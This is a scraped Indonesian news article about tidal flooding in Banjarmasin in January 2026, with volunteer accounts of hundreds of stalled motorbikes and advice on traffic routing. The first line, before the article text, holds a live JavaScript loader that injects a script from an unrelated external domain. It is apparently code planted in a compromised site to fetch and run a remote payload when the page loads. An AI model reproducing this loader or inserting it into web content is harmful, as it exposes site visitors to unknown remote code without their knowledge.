(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob alias pasang muka air laut mengepung sejumlah jalan besar di Kota Banjarmasin, Minggu (4/1/2026) malam.
Pantauan Kanalkalimantan.com, beberapa jalan yang terdampak antara lain Jalan Pahlawan, Simpang Sungai Mesa, Kapten Pierre Tendean, Brigjen Hasan Basri, Kayu Tangi, S Parman, Sultan Adam, Banua Anyar, Pangeran Hidayatullah, Ujung Murung, hingga jalan Lambung Mangkurat.
Salah satu titik terparah rendaman banjir pasang berada di Jalan Pahlawan, Kelurahan Seberang Mesjid, Kecamatan Banjarmasin Tengah. Permukaan air setinggi lutut orang dewasa membuat ratusan pengendara sepeda motor mogok.
Baca juga: Hari Kowal 5 Januari, Sejarah Singkat Berdiri
Hal itu menarik inisiatif relawan gabungan terdiri dari barisan pemadam kebakaran dan warga sekitar membantu arus lalu lintas yang terdampak banjir rob sejak Sabtu (3/1/2026) malam.
Salah satu relawan, Marhani. Foto: fahmi
Salah satu relawan, Marhani mengatakan, air yang mentinggi merendam jalan membuat mesin kendaraan sepeda motor tiba-tiba mati sehingga harus didorong.
Khusus malam ini, pengendara sepeda motor yang mogok mencapai 300 buah lebih. Bahkan, di malam sebelumnya lebih parah sampai 500 buah.
Baca juga: Mensos RI Pastikan Penanggulangan Banjir Kalsel Sama dengan di Sumatera
“Malam ini yang mogok ada 300 ratusan lebih, kalau semalam lebih banyak lagi sampai 500 orang,” ungkap Marhani.
Untuk menghindari gangguan tersebut, relawan mengarahkan pengendara sepeda motor tidak melalui jalur tengah, melainkan mengambil jalur trotoar.
“Untuk roda dua kami arahkan lewat trotoar, supaya motornya tidak mogok,” jelas Marhani.
Baca juga: Banjir di Kabupaten Banjar Merendam 115 Desa di 7 Kecamatan
Sementara untuk roda empat masih bisa melalui Jalan Pahlawan, tapi disarankan dengan kecepatan pelan agar air tidak terciprat ke samping yang merupakan permukiman warga.
Terkait penanganan banjir rob, Marhani menyarankan agar dilakukan pengerukan air sungai guna mengurangi ketinggian air.
Di tempat yang sama, relawan lain, Fajri menuturkan, pengurangan jumlah pengendara sepeda motor yang mogok disebabkan warga sudah mengantisipasi dengan cara menghindari jalan tersebut mengingat banyak korban pada hari sebelumnya.
Baca juga: Mensos RI Tinjau Posko Pengungsian Banjir di Sungaitabuk
Faktor akhir pekan di malam sebelumnya menjadi pemicu lonjakan jumlah pengendara di Jalan Pahlawan. Berhubung malam ini adalah malam Senin, maka pengendara relatif berkurang karena memilih tetap di rumah daripada ke luar.
Lelaki yang akrab disapa Gundul ini menambahkan, ketinggian air di malam ini dan malam sebelumnya hampir sama. Yang berbeda hanyalah jam naik air pasang.
“Kalau malam sebelumnya naiknya itu lebih cepat 17.30 Wita, kalau malam ini airnya naik di 18.30 Wita, jadi bedanya satu jam,” kata Gundul. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More
KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More
KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More
KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More
This website uses cookies.